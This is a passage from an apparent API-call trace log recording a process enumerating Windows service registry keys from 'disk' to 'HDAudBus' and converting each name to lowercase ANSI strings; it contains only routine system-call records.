lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0176.073] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0176.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0176.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0176.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0176.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0176.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0176.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0176.074] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0176.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0176.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0176.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0176.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0176.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0176.075] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0176.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0176.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0176.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0176.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0176.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0176.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0176.076] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0176.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0176.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0176.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0176.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0176.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0176.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0176.077] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0176.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0176.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a00, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0176.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0176.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0176.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0176.078] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0176.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0176.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0176.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0176.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0176.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1a90, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0176.079] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 